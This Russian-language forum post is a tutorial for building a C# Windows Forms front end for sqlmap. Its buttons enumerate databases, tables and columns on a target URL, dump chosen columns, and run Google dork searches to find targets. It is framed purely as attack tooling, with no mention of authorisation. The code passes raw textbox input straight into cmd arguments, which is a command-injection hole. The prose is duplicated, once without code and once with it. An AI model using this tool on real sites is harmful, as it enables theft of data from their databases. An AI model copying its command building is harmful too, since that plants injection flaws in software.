Привет кодебай, моя первая статья на этом форуме. Сегодня мы сделаем свой GUI для sqlmap, с блекджеком и гугл дорками, поехали!
Для начала нам понадобится пайтон скрипт sqlmap:
Теперь перейдём к кодингу, открываем Visual Studio и создаём "Приложение Windows Forms", версия фремворка 4.5
Объявим необходимые юзинги:
Теперь идём к конструктору формы, добавляем один TextBox, один Label, один Button, у меня получилось примерно так:
На обработку кнопки Get DB (button1) добавляем код:
Данный код запускает sqlmap в cmd, далее sqlmap ищет базы данных
Снова добавляем тексбокс, лейбл, кнопку:
На обработку кнопки Get Tables (button2) добавляем следующий код:
Данный код запускаем SQLmap, который ищет таблицы в БД.
Опять добавляем элементы на форму:
На обработку кнопки Get Columns добавляем код:
Эта команда в SQLmap ищет колонки для дампа.
Добавляем элементы на форму:
На обработку кнопки Dump (button4) добавляем код:
Эта команда производит дамп колонок с сайта, которые вы указали.
Добавляем элементы:
На обработку кнопки Search (button5) добавляем код:
Теперь, когда основная часть проекта готова, можно немного улучшить интерфейс. Для этого в Управлении пакетами NuGet ищем Metro Framework:
Осталось лишь подключить фреймворк к форме, для этого поднимаемся к началу кода, и ищем эту строку:
Заменяем на
И добавляем юзинг
Теперь наша форма выглядит так:
Для того, чтобы использовать интерфейс, просто добавьте EXE файл в папку с sqlmap.py:
На этом всё, с вами был @3xpl01t Всем удачи!
Для начала нам понадобится пайтон скрипт sqlmap:
Теперь перейдём к кодингу, открываем Visual Studio и создаём "Приложение Windows Forms", версия фремворка 4.5
Объявим необходимые юзинги:
C#:
using System;
using System.Diagnostics;
using System.Windows.Forms;
На обработку кнопки Get DB (button1) добавляем код:
C#:
string textb1 = textBox1.Text;
if (textb1 != "") // Если текстбокс не пуст
{
ProcessStartInfo psi = new ProcessStartInfo(); // Создаём новый процесс
psi.FileName = "cmd"; // Имя процесса
psi.Arguments = @"/k sqlmap.py -u " + textb1 + " --dbs"; // Аргументы для запуска
Process.Start(psi); // Запуск процесса
}
else if (textb1 == "" || textb1 == null) // Иначе если, текстбокс ничему не равен
MessageBox.Show("URL ERROR"); // Выводим сообщение о ошибке
Данный код запускает sqlmap в cmd, далее sqlmap ищет базы данных
Снова добавляем тексбокс, лейбл, кнопку:
На обработку кнопки Get Tables (button2) добавляем следующий код:
C#:
string textb2 = textBox2.Text;
if (textb2 != "" && textBox1.Text != "") // Если тексбокс2 и текстбокс1 не пуст
{
ProcessStartInfo psi = new ProcessStartInfo(); // Создаём новый процесс
psi.FileName = "cmd";
psi.Arguments = @"/k sqlmap.py -u " + textBox1.Text + " -D " + textb2 + " --tables"; // Запуск SQlmap
Process.Start(psi); // Старт процесса
}
else if (textb2 == "" || textBox1.Text == "") // Иначе если, текстбокс2 или текстбокс1 ничему не равны
MessageBox.Show("Table ERROR"); // Выводим сообщение о ошибке
Данный код запускаем SQLmap, который ищет таблицы в БД.
Опять добавляем элементы на форму:
На обработку кнопки Get Columns добавляем код:
C#:
string textb3 = textBox3.Text;
if (textb3 != "" && textBox1.Text != "" && textBox2.Text != "") // Если текстбоксы не пусты
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd";
psi.Arguments = @"/k sqlmap.py -u " + textBox1.Text + " -D " + textBox2.Text + " -T " + textb3 + " --columns"; // Аргументы для запуска
Process.Start(psi); // Запуск
}
else if (textb3 == "" || textBox1.Text == "" || textBox2.Text == "") // Иначе если, тексбоксы пусты
MessageBox.Show("Columns ERROR"); // Выводим собщение о ошибке
Эта команда в SQLmap ищет колонки для дампа.
Добавляем элементы на форму:
На обработку кнопки Dump (button4) добавляем код:
C#:
string textb4 = textBox4.Text;
if (textb4 != "" && textBox3.Text != "" && textBox1.Text != "" && textBox2.Text != "") // Если текстбоксы не пусты
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd";
psi.Arguments = @"/k sqlmap.py -u " + textBox1.Text + " -D " + textBox2.Text + " -T " + textBox3.Text + " -C " + textb4 + " --dump"; // Аргументы для запуска
Process.Start(psi); // Запуск
}
else if (textb4 == "" || textBox1.Text == "" || textBox2.Text == "" || textBox2.Text == "") // Иначе если, текстбоксы пусты
MessageBox.Show("Dump ERROR"); // Выводим сообщение о ошибке
Эта команда производит дамп колонок с сайта, которые вы указали.
Добавляем элементы:
На обработку кнопки Search (button5) добавляем код:
C#:
string request = textBox5.Text;
ProcessStartInfo psi = new ProcessStartInfo(); // Новый процесс
psi.FileName = "cmd";
psi.Arguments = @"/k sqlmap.py -g " + request; // Аргументы для запуска
Process.Start(psi); // Старт процесса
Теперь, когда основная часть проекта готова, можно немного улучшить интерфейс. Для этого в Управлении пакетами NuGet ищем Metro Framework:
Осталось лишь подключить фреймворк к форме, для этого поднимаемся к началу кода, и ищем эту строку:
Заменяем на
C#:
public partial class Form1 : MetroForm
using MetroFramework.Forms;
Теперь наша форма выглядит так:
Для того, чтобы использовать интерфейс, просто добавьте EXE файл в папку с sqlmap.py:
На этом всё, с вами был @3xpl01t Всем удачи!